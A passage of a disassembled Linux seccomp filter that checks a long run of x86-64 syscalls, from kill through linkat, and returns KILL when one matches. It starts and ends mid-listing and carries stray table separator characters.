0118: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0120
|
||||
0119: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0120: 0x15 0x00 0x01 0x0000003f if (A != uname) goto 0122
|
||||
0121: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0122: 0x15 0x00 0x01 0x00000040 if (A != semget) goto 0124
|
||||
0123: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0124: 0x15 0x00 0x01 0x00000041 if (A != semop) goto 0126
|
||||
0125: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0126: 0x15 0x00 0x01 0x00000042 if (A != semctl) goto 0128
|
||||
0127: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0128: 0x15 0x00 0x01 0x00000043 if (A != shmdt) goto 0130
|
||||
0129: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0130: 0x15 0x00 0x01 0x00000044 if (A != msgget) goto 0132
|
||||
0131: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0132: 0x15 0x00 0x01 0x00000045 if (A != msgsnd) goto 0134
|
||||
0133: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0134: 0x15 0x00 0x01 0x00000046 if (A != msgrcv) goto 0136
|
||||
0135: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0136: 0x15 0x00 0x01 0x00000047 if (A != msgctl) goto 0138
|
||||
0137: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0138: 0x15 0x00 0x01 0x00000048 if (A != fcntl) goto 0140
|
||||
0139: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0140: 0x15 0x00 0x01 0x00000049 if (A != flock) goto 0142
|
||||
0141: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0142: 0x15 0x00 0x01 0x0000004a if (A != fsync) goto 0144
|
||||
0143: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0144: 0x15 0x00 0x01 0x0000004b if (A != fdatasync) goto 0146
|
||||
0145: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0146: 0x15 0x00 0x01 0x0000004c if (A != truncate) goto 0148
|
||||
0147: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0148: 0x15 0x00 0x01 0x0000004d if (A != ftruncate) goto 0150
|
||||
0149: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0150: 0x15 0x00 0x01 0x0000004e if (A != getdents) goto 0152
|
||||
0151: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0152: 0x15 0x00 0x01 0x0000004f if (A != getcwd) goto 0154
|
||||
0153: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0154: 0x15 0x00 0x01 0x00000050 if (A != chdir) goto 0156
|
||||
0155: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0156: 0x15 0x00 0x01 0x00000051 if (A != fchdir) goto 0158
|
||||
0157: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0158: 0x15 0x00 0x01 0x00000052 if (A != rename) goto 0160
|
||||
0159: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0160: 0x15 0x00 0x01 0x00000053 if (A != mkdir) goto 0162
|
||||
0161: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0162: 0x15 0x00 0x01 0x00000054 if (A != rmdir) goto 0164
|
||||
0163: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0164: 0x15 0x00 0x01 0x00000055 if (A != creat) goto 0166
|
||||
0165: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0166: 0x15 0x00 0x01 0x00000056 if (A != link) goto 0168
|
||||
0167: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0168: 0x15 0x00 0x01 0x00000057 if (A != unlink) goto 0170
|
||||
0169: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0170: 0x15 0x00 0x01 0x00000058 if (A != symlink) goto 0172
|
||||
0171: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0172: 0x15 0x00 0x01 0x00000059 if (A != readlink) goto 0174
|
||||
0173: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0174: 0x15 0x00 0x01 0x0000005a if (A != chmod) goto 0176
|
||||
0175: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0176: 0x15 0x00 0x01 0x0000005b if (A != fchmod) goto 0178
|
||||
0177: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0178: 0x15 0x00 0x01 0x0000005c if (A != chown) goto 0180
|
||||
0179: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0180: 0x15 0x00 0x01 0x0000005d if (A != fchown) goto 0182
|
||||
0181: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0182: 0x15 0x00 0x01 0x0000005e if (A != lchown) goto 0184
|
||||
0183: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0184: 0x15 0x00 0x01 0x0000005f if (A != umask) goto 0186
|
||||
0185: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0186: 0x15 0x00 0x01 0x00000061 if (A != getrlimit) goto 0188
|
||||
0187: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0188: 0x15 0x00 0x01 0x00000062 if (A != getrusage) goto 0190
|
||||
0189: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0190: 0x15 0x00 0x01 0x00000063 if (A != sysinfo) goto 0192
|
||||
0191: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0192: 0x15 0x00 0x01 0x00000064 if (A != times) goto 0194
|
||||
0193: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0194: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0196
|
||||
0195: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0196: 0x15 0x00 0x01 0x00000066 if (A != getuid) goto 0198
|
||||
0197: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0198: 0x15 0x00 0x01 0x00000067 if (A != syslog) goto 0200
|
||||
0199: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0200: 0x15 0x00 0x01 0x00000068 if (A != getgid) goto 0202
|
||||
0201: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0202: 0x15 0x00 0x01 0x00000069 if (A != setuid) goto 0204
|
||||
0203: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0204: 0x15 0x00 0x01 0x0000006a if (A != setgid) goto 0206
|
||||
0205: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0206: 0x15 0x00 0x01 0x0000006b if (A != geteuid) goto 0208
|
||||
0207: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0208: 0x15 0x00 0x01 0x0000006c if (A != getegid) goto 0210
|
||||
0209: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0210: 0x15 0x00 0x01 0x0000006d if (A != setpgid) goto 0212
|
||||
0211: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0212: 0x15 0x00 0x01 0x0000006e if (A != getppid) goto 0214
|
||||
0213: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0214: 0x15 0x00 0x01 0x0000006f if (A != getpgrp) goto 0216
|
||||
0215: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0216: 0x15 0x00 0x01 0x00000070 if (A != setsid) goto 0218
|
||||
0217: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0218: 0x15 0x00 0x01 0x00000071 if (A != setreuid) goto 0220
|
||||
0219: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0220: 0x15 0x00 0x01 0x00000072 if (A != setregid) goto 0222
|
||||
0221: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0222: 0x15 0x00 0x01 0x00000073 if (A != getgroups) goto 0224
|
||||
0223: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0224: 0x15 0x00 0x01 0x00000074 if (A != setgroups) goto 0226
|
||||
0225: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0226: 0x15 0x00 0x01 0x00000075 if (A != setresuid) goto 0228
|
||||
0227: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0228: 0x15 0x00 0x01 0x00000076 if (A != getresuid) goto 0230
|
||||
0229: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0230: 0x15 0x00 0x01 0x00000077 if (A != setresgid) goto 0232
|
||||
0231: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0232: 0x15 0x00 0x01 0x00000078 if (A != getresgid) goto 0234
|
||||
0233: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0234: 0x15 0x00 0x01 0x00000079 if (A != getpgid) goto 0236
|
||||
0235: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0236: 0x15 0x00 0x01 0x0000007a if (A != setfsuid) goto 0238
|
||||
0237: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0238: 0x15 0x00 0x01 0x0000007b if (A != setfsgid) goto 0240
|
||||
0239: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0240: 0x15 0x00 0x01 0x0000007c if (A != getsid) goto 0242
|
||||
0241: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0242: 0x15 0x00 0x01 0x0000007d if (A != capget) goto 0244
|
||||
0243: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0244: 0x15 0x00 0x01 0x0000007e if (A != capset) goto 0246
|
||||
0245: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0246: 0x15 0x00 0x01 0x0000007f if (A != rt_sigpending) goto 0248
|
||||
0247: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0248: 0x15 0x00 0x01 0x00000080 if (A != rt_sigtimedwait) goto 0250
|
||||
0249: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0250: 0x15 0x00 0x01 0x00000081 if (A != rt_sigqueueinfo) goto 0252
|
||||
0251: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0252: 0x15 0x00 0x01 0x00000082 if (A != rt_sigsuspend) goto 0254
|
||||
0253: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0254: 0x15 0x00 0x01 0x00000083 if (A != sigaltstack) goto 0256
|
||||
0255: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0256: 0x15 0x00 0x01 0x00000084 if (A != utime) goto 0258
|
||||
0257: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0258: 0x15 0x00 0x01 0x00000085 if (A != mknod) goto 0260
|
||||
0259: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0260: 0x15 0x00 0x01 0x00000086 if (A != uselib) goto 0262
|
||||
0261: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0262: 0x15 0x00 0x01 0x00000087 if (A != personality) goto 0264
|
||||
0263: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0264: 0x15 0x00 0x01 0x00000088 if (A != ustat) goto 0266
|
||||
0265: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0266: 0x15 0x00 0x01 0x00000089 if (A != statfs) goto 0268
|
||||
0267: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0268: 0x15 0x00 0x01 0x0000008a if (A != fstatfs) goto 0270
|
||||
0269: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0270: 0x15 0x00 0x01 0x0000008b if (A != sysfs) goto 0272
|
||||
0271: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0272: 0x15 0x00 0x01 0x0000008c if (A != getpriority) goto 0274
|
||||
0273: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0274: 0x15 0x00 0x01 0x0000008d if (A != setpriority) goto 0276
|
||||
0275: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0276: 0x15 0x00 0x01 0x0000008e if (A != sched_setparam) goto 0278
|
||||
0277: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0278: 0x15 0x00 0x01 0x0000008f if (A != sched_getparam) goto 0280
|
||||
0279: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0280: 0x15 0x00 0x01 0x00000090 if (A != sched_setscheduler) goto 0282
|
||||
0281: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0282: 0x15 0x00 0x01 0x00000091 if (A != sched_getscheduler) goto 0284
|
||||
0283: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0284: 0x15 0x00 0x01 0x00000092 if (A != sched_get_priority_max) goto 0286
|
||||
0285: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0286: 0x15 0x00 0x01 0x00000093 if (A != sched_get_priority_min) goto 0288
|
||||
0287: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0288: 0x15 0x00 0x01 0x00000094 if (A != sched_rr_get_interval) goto 0290
|
||||
0289: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0290: 0x15 0x00 0x01 0x00000095 if (A != mlock) goto 0292
|
||||
0291: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0292: 0x15 0x00 0x01 0x00000096 if (A != munlock) goto 0294
|
||||
0293: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0294: 0x15 0x00 0x01 0x00000097 if (A != mlockall) goto 0296
|
||||
0295: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0296: 0x15 0x00 0x01 0x00000098 if (A != munlockall) goto 0298
|
||||
0297: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0298: 0x15 0x00 0x01 0x00000099 if (A != vhangup) goto 0300
|
||||
0299: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0300: 0x15 0x00 0x01 0x0000009a if (A != modify_ldt) goto 0302
|
||||
0301: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0302: 0x15 0x00 0x01 0x0000009b if (A != pivot_root) goto 0304
|
||||
0303: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0304: 0x15 0x00 0x01 0x0000009c if (A != _sysctl) goto 0306
|
||||
0305: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0306: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0308
|
||||
0307: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0308: 0x15 0x00 0x01 0x0000009e if (A != arch_prctl) goto 0310
|
||||
0309: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0310: 0x15 0x00 0x01 0x0000009f if (A != adjtimex) goto 0312
|
||||
0311: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0312: 0x15 0x00 0x01 0x000000a0 if (A != setrlimit) goto 0314
|
||||
0313: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0314: 0x15 0x00 0x01 0x000000a1 if (A != chroot) goto 0316
|
||||
0315: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0316: 0x15 0x00 0x01 0x000000a2 if (A != sync) goto 0318
|
||||
0317: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0318: 0x15 0x00 0x01 0x000000a3 if (A != acct) goto 0320
|
||||
0319: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0320: 0x15 0x00 0x01 0x000000a4 if (A != settimeofday) goto 0322
|
||||
0321: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0322: 0x15 0x00 0x01 0x000000a5 if (A != mount) goto 0324
|
||||
0323: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0324: 0x15 0x00 0x01 0x000000a6 if (A != umount2) goto 0326
|
||||
0325: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0326: 0x15 0x00 0x01 0x000000a7 if (A != swapon) goto 0328
|
||||
0327: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0328: 0x15 0x00 0x01 0x000000a8 if (A != swapoff) goto 0330
|
||||
0329: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0330: 0x15 0x00 0x01 0x000000aa if (A != sethostname) goto 0332
|
||||
0331: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0332: 0x15 0x00 0x01 0x000000ab if (A != setdomainname) goto 0334
|
||||
0333: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0334: 0x15 0x00 0x01 0x000000ac if (A != iopl) goto 0336
|
||||
0335: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0336: 0x15 0x00 0x01 0x000000ad if (A != ioperm) goto 0338
|
||||
0337: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0338: 0x15 0x00 0x01 0x000000ae if (A != create_module) goto 0340
|
||||
0339: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0340: 0x15 0x00 0x01 0x000000af if (A != init_module) goto 0342
|
||||
0341: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0342: 0x15 0x00 0x01 0x000000b0 if (A != delete_module) goto 0344
|
||||
0343: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0344: 0x15 0x00 0x01 0x000000b1 if (A != get_kernel_syms) goto 0346
|
||||
0345: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0346: 0x15 0x00 0x01 0x000000b2 if (A != query_module) goto 0348
|
||||
0347: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0348: 0x15 0x00 0x01 0x000000b3 if (A != quotactl) goto 0350
|
||||
0349: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0350: 0x15 0x00 0x01 0x000000b4 if (A != nfsservctl) goto 0352
|
||||
0351: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0352: 0x15 0x00 0x01 0x000000b5 if (A != getpmsg) goto 0354
|
||||
0353: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0354: 0x15 0x00 0x01 0x000000b6 if (A != putpmsg) goto 0356
|
||||
0355: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0356: 0x15 0x00 0x01 0x000000b7 if (A != afs_syscall) goto 0358
|
||||
0357: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0358: 0x15 0x00 0x01 0x000000b8 if (A != tuxcall) goto 0360
|
||||
0359: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0360: 0x15 0x00 0x01 0x000000b9 if (A != security) goto 0362
|
||||
0361: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0362: 0x15 0x00 0x01 0x000000ba if (A != gettid) goto 0364
|
||||
0363: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0364: 0x15 0x00 0x01 0x000000bb if (A != readahead) goto 0366
|
||||
0365: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0366: 0x15 0x00 0x01 0x000000bc if (A != setxattr) goto 0368
|
||||
0367: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0368: 0x15 0x00 0x01 0x000000bd if (A != lsetxattr) goto 0370
|
||||
0369: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0370: 0x15 0x00 0x01 0x000000be if (A != fsetxattr) goto 0372
|
||||
0371: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0372: 0x15 0x00 0x01 0x000000bf if (A != getxattr) goto 0374
|
||||
0373: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0374: 0x15 0x00 0x01 0x000000c0 if (A != lgetxattr) goto 0376
|
||||
0375: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0376: 0x15 0x00 0x01 0x000000c1 if (A != fgetxattr) goto 0378
|
||||
0377: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0378: 0x15 0x00 0x01 0x000000c2 if (A != listxattr) goto 0380
|
||||
0379: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0380: 0x15 0x00 0x01 0x000000c3 if (A != llistxattr) goto 0382
|
||||
0381: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0382: 0x15 0x00 0x01 0x000000c4 if (A != flistxattr) goto 0384
|
||||
0383: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0384: 0x15 0x00 0x01 0x000000c5 if (A != removexattr) goto 0386
|
||||
0385: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0386: 0x15 0x00 0x01 0x000000c6 if (A != lremovexattr) goto 0388
|
||||
0387: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0388: 0x15 0x00 0x01 0x000000c7 if (A != fremovexattr) goto 0390
|
||||
0389: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0390: 0x15 0x00 0x01 0x000000c8 if (A != tkill) goto 0392
|
||||
0391: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0392: 0x15 0x00 0x01 0x000000c9 if (A != time) goto 0394
|
||||
0393: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0394: 0x15 0x00 0x01 0x000000ca if (A != futex) goto 0396
|
||||
0395: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0396: 0x15 0x00 0x01 0x000000cb if (A != sched_setaffinity) goto 0398
|
||||
0397: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0398: 0x15 0x00 0x01 0x000000cc if (A != sched_getaffinity) goto 0400
|
||||
0399: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0400: 0x15 0x00 0x01 0x000000cd if (A != set_thread_area) goto 0402
|
||||
0401: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0402: 0x15 0x00 0x01 0x000000ce if (A != io_setup) goto 0404
|
||||
0403: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0404: 0x15 0x00 0x01 0x000000cf if (A != io_destroy) goto 0406
|
||||
0405: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0406: 0x15 0x00 0x01 0x000000d0 if (A != io_getevents) goto 0408
|
||||
0407: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0408: 0x15 0x00 0x01 0x000000d1 if (A != io_submit) goto 0410
|
||||
0409: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0410: 0x15 0x00 0x01 0x000000d2 if (A != io_cancel) goto 0412
|
||||
0411: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0412: 0x15 0x00 0x01 0x000000d3 if (A != get_thread_area) goto 0414
|
||||
0413: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0414: 0x15 0x00 0x01 0x000000d4 if (A != lookup_dcookie) goto 0416
|
||||
0415: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0416: 0x15 0x00 0x01 0x000000d5 if (A != epoll_create) goto 0418
|
||||
0417: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0418: 0x15 0x00 0x01 0x000000d6 if (A != epoll_ctl_old) goto 0420
|
||||
0419: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0420: 0x15 0x00 0x01 0x000000d7 if (A != epoll_wait_old) goto 0422
|
||||
0421: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0422: 0x15 0x00 0x01 0x000000d8 if (A != remap_file_pages) goto 0424
|
||||
0423: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0424: 0x15 0x00 0x01 0x000000d9 if (A != getdents64) goto 0426
|
||||
0425: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0426: 0x15 0x00 0x01 0x000000da if (A != set_tid_address) goto 0428
|
||||
0427: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0428: 0x15 0x00 0x01 0x000000db if (A != restart_syscall) goto 0430
|
||||
0429: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0430: 0x15 0x00 0x01 0x000000dc if (A != semtimedop) goto 0432
|
||||
0431: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0432: 0x15 0x00 0x01 0x000000dd if (A != fadvise64) goto 0434
|
||||
0433: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0434: 0x15 0x00 0x01 0x000000de if (A != timer_create) goto 0436
|
||||
0435: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0436: 0x15 0x00 0x01 0x000000df if (A != timer_settime) goto 0438
|
||||
0437: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0438: 0x15 0x00 0x01 0x000000e0 if (A != timer_gettime) goto 0440
|
||||
0439: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0440: 0x15 0x00 0x01 0x000000e1 if (A != timer_getoverrun) goto 0442
|
||||
0441: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0442: 0x15 0x00 0x01 0x000000e2 if (A != timer_delete) goto 0444
|
||||
0443: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0444: 0x15 0x00 0x01 0x000000e3 if (A != clock_settime) goto 0446
|
||||
0445: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0446: 0x15 0x00 0x01 0x000000e4 if (A != clock_gettime) goto 0448
|
||||
0447: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0448: 0x15 0x00 0x01 0x000000e5 if (A != clock_getres) goto 0450
|
||||
0449: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0450: 0x15 0x00 0x01 0x000000e6 if (A != clock_nanosleep) goto 0452
|
||||
0451: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0452: 0x15 0x00 0x01 0x000000e8 if (A != epoll_wait) goto 0454
|
||||
0453: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0454: 0x15 0x00 0x01 0x000000e9 if (A != epoll_ctl) goto 0456
|
||||
0455: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0456: 0x15 0x00 0x01 0x000000ea if (A != tgkill) goto 0458
|
||||
0457: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0458: 0x15 0x00 0x01 0x000000eb if (A != utimes) goto 0460
|
||||
0459: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0460: 0x15 0x00 0x01 0x000000ec if (A != vserver) goto 0462
|
||||
0461: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0462: 0x15 0x00 0x01 0x000000ed if (A != mbind) goto 0464
|
||||
0463: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0464: 0x15 0x00 0x01 0x000000ee if (A != set_mempolicy) goto 0466
|
||||
0465: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0466: 0x15 0x00 0x01 0x000000ef if (A != get_mempolicy) goto 0468
|
||||
0467: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0468: 0x15 0x00 0x01 0x000000f0 if (A != mq_open) goto 0470
|
||||
0469: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0470: 0x15 0x00 0x01 0x000000f1 if (A != mq_unlink) goto 0472
|
||||
0471: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0472: 0x15 0x00 0x01 0x000000f2 if (A != mq_timedsend) goto 0474
|
||||
0473: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0474: 0x15 0x00 0x01 0x000000f3 if (A != mq_timedreceive) goto 0476
|
||||
0475: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0476: 0x15 0x00 0x01 0x000000f4 if (A != mq_notify) goto 0478
|
||||
0477: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0478: 0x15 0x00 0x01 0x000000f5 if (A != mq_getsetattr) goto 0480
|
||||
0479: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0480: 0x15 0x00 0x01 0x000000f6 if (A != kexec_load) goto 0482
|
||||
0481: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0482: 0x15 0x00 0x01 0x000000f7 if (A != waitid) goto 0484
|
||||
0483: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0484: 0x15 0x00 0x01 0x000000f8 if (A != add_key) goto 0486
|
||||
0485: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0486: 0x15 0x00 0x01 0x000000f9 if (A != request_key) goto 0488
|
||||
0487: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0488: 0x15 0x00 0x01 0x000000fa if (A != keyctl) goto 0490
|
||||
0489: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0490: 0x15 0x00 0x01 0x000000fb if (A != ioprio_set) goto 0492
|
||||
0491: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0492: 0x15 0x00 0x01 0x000000fc if (A != ioprio_get) goto 0494
|
||||
0493: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0494: 0x15 0x00 0x01 0x000000fd if (A != inotify_init) goto 0496
|
||||
0495: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0496: 0x15 0x00 0x01 0x000000fe if (A != inotify_add_watch) goto 0498
|
||||
0497: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0498: 0x15 0x00 0x01 0x000000ff if (A != inotify_rm_watch) goto 0500
|
||||
0499: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0500: 0x15 0x00 0x01 0x00000100 if (A != migrate_pages) goto 0502
|
||||
0501: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0502: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0504
|
||||
0503: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0504: 0x15 0x00 0x01 0x00000102 if (A != mkdirat) goto 0506
|
||||
0505: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0506: 0x15 0x00 0x01 0x00000103 if (A != mknodat) goto 0508
|
||||
0507: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0508: 0x15 0x00 0x01 0x00000104 if (A != fchownat) goto 0510
|
||||
0509: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0510: 0x15 0x00 0x01 0x00000105 if (A != futimesat) goto 0512
|
||||
0511: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0512: 0x15 0x00 0x01 0x00000106 if (A != newfstatat) goto 0514
|
||||
0513: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0514: 0x15 0x00 0x01 0x00000107 if (A != unlinkat) goto 0516
|
||||
0515: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0516: 0x15 0x00 0x01 0x00000108 if (A != renameat) goto 0518
|
||||
0517: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0518: 0x15 0x00 0x01 0x00000109 if (A != linkat) goto 0520
|
||||
